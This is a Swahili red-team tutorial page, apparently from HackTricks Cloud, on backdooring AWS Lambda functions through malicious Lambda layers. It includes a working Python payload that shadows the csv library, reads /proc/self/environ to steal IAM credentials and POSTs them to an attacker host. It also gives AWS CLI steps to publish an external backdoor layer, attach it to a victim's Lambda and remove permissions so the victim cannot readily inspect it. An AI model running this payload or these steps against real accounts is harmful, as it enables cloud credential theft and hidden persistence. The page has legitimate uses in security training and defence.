AWS - Lambda Layers Persistence
Reading time: 7 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Lambda Layers
Layer ya Lambda ni archive ya faili .zip ambayo inaweza kuwa na msimbo wa ziada au maudhui mengine. Layer inaweza kuwa na maktaba, runtime ya kawaida, data, au faili za usanidi.
Inawezekana kujumuisha hadi layers tano kwa kazi. Unapojumuisha layer katika kazi, maudhui yanachukuliwa hadi kwenye saraka ya /opt
katika mazingira ya utekelezaji.
Kwa kawaida, layers unazounda ni binafsi kwa akaunti yako ya AWS. Unaweza kuchagua kushiriki layer na akaunti nyingine au kufanya layer hiyo kuwa ya umma. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la layer lililofutwa.
Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo.
Python load path
Path ya kupakia ambayo Python itatumia katika lambda ni ifuatayo:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
Angalia jinsi nafasi ya pili na ya tatu zinavyoshikiliwa na directories ambapo lambda layers zinachambua faili zao: /opt/python/lib/python3.9/site-packages
na /opt/python
caution
Ikiwa mshambuliaji ameweza kurejesha layer ya lambda inayotumika au kuongeza moja ambayo itakuwa ikiendesha msimbo wa kawaida unapopakua maktaba, ataweza kuendesha msimbo mbaya kwa kila mwito wa lambda.
Kwa hivyo, mahitaji ni:
- Angalia maktaba ambazo zinapakiwa na msimbo wa waathirika
- Unda maktaba ya proxy na lambda layers ambayo itakuwa ikiendesha msimbo wa kawaida na kupakia maktaba ya asili.
Maktaba zilizopakiwa awali
warning
Wakati wa kutumia mbinu hii nilikumbana na ugumu: Maktaba zingine tayari zimepakiwa katika mazingira ya python wakati msimbo wako unatekelezwa. Nilikuwa natarajia kupata vitu kama os
au sys
, lakini hata maktaba ya json
ilikuwa imepakiwa.
Ili kutumia mbinu hii ya kudumu, msimbo unahitaji kupakia maktaba mpya ambayo haijapakiwa wakati msimbo unatekelezwa.
Kwa msimbo wa python kama huu, inawezekana kupata orodha ya maktaba ambazo zimepakiwa awali ndani ya mazingira ya python katika lambda:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
Na hii ni orodha (hakikisha kwamba maktaba kama os
au json
zipo tayari)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
Na hii ni orodha ya maktaba ambazo lambda inajumuisha zilizowekwa kwa default: https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Lambda Layer Backdooring
Katika mfano huu hebu tuone kwamba msimbo unaolengwa unatumia csv
. Tunakwenda kufanya backdoor kwenye uagizaji wa maktaba ya csv
.
Ili kufanya hivyo, tutaunda directory csv yenye faili __init__.py
ndani yake katika njia ambayo inasomwa na lambda: /opt/python/lib/python3.9/site-packages
Kisha, wakati lambda inatekelezwa na kujaribu kupakia csv, faili yetu ya __init__.py
itasomwa na kutekelezwa.
Faili hii inapaswa:
- Kutekeleza payload yetu
- Kupakia maktaba ya csv asilia
Tunaweza kufanya yote mawili kwa:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
Kisha, tengeneza zip na msimbo huu katika njia python/lib/python3.9/site-packages/__init__.py
na uongeze kama tabaka la lambda.
Unaweza kupata msimbo huu katika https://github.com/carlospolop/LambdaLayerBackdoor
Payload iliyounganishwa it tuma IAM creds kwa seva WAKATI WA KWANZA inapoanzishwa au BAADA ya kurekebisha kontena la lambda (mabadiliko ya msimbo au lambda baridi), lakini mbinu nyingine kama ifuatavyo zinaweza pia kuunganishwa:
Tabaka za Nje
Kumbuka kwamba inawezekana kutumia tabaka za lambda kutoka kwa akaunti za nje. Aidha, lambda inaweza kutumia tabaka kutoka kwa akaunti ya nje hata kama haina ruhusa.
Pia kumbuka kwamba idadi ya juu ya tabaka ambayo lambda inaweza kuwa nayo ni 5.
Hivyo, ili kuboresha ufanisi wa mbinu hii mshambuliaji anaweza:
- Kuingiza nyuma tabaka lililopo la mtumiaji (hakuna chochote ni cha nje)
- Kuunda tabaka katika akaunti yake, kumpa mtumiaji waathirika ruhusa kutumia tabaka, kuweka tabaka katika Lambda ya waathirika na kuondoa ruhusa.
- Lambda bado itakuwa na uwezo wa kutumia tabaka na waathirika hawata kuwa na njia rahisi ya kupakua msimbo wa tabaka (kando na kupata rev shell ndani ya lambda)
- Waathirika hawataona tabaka za nje zinazotumika na
aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.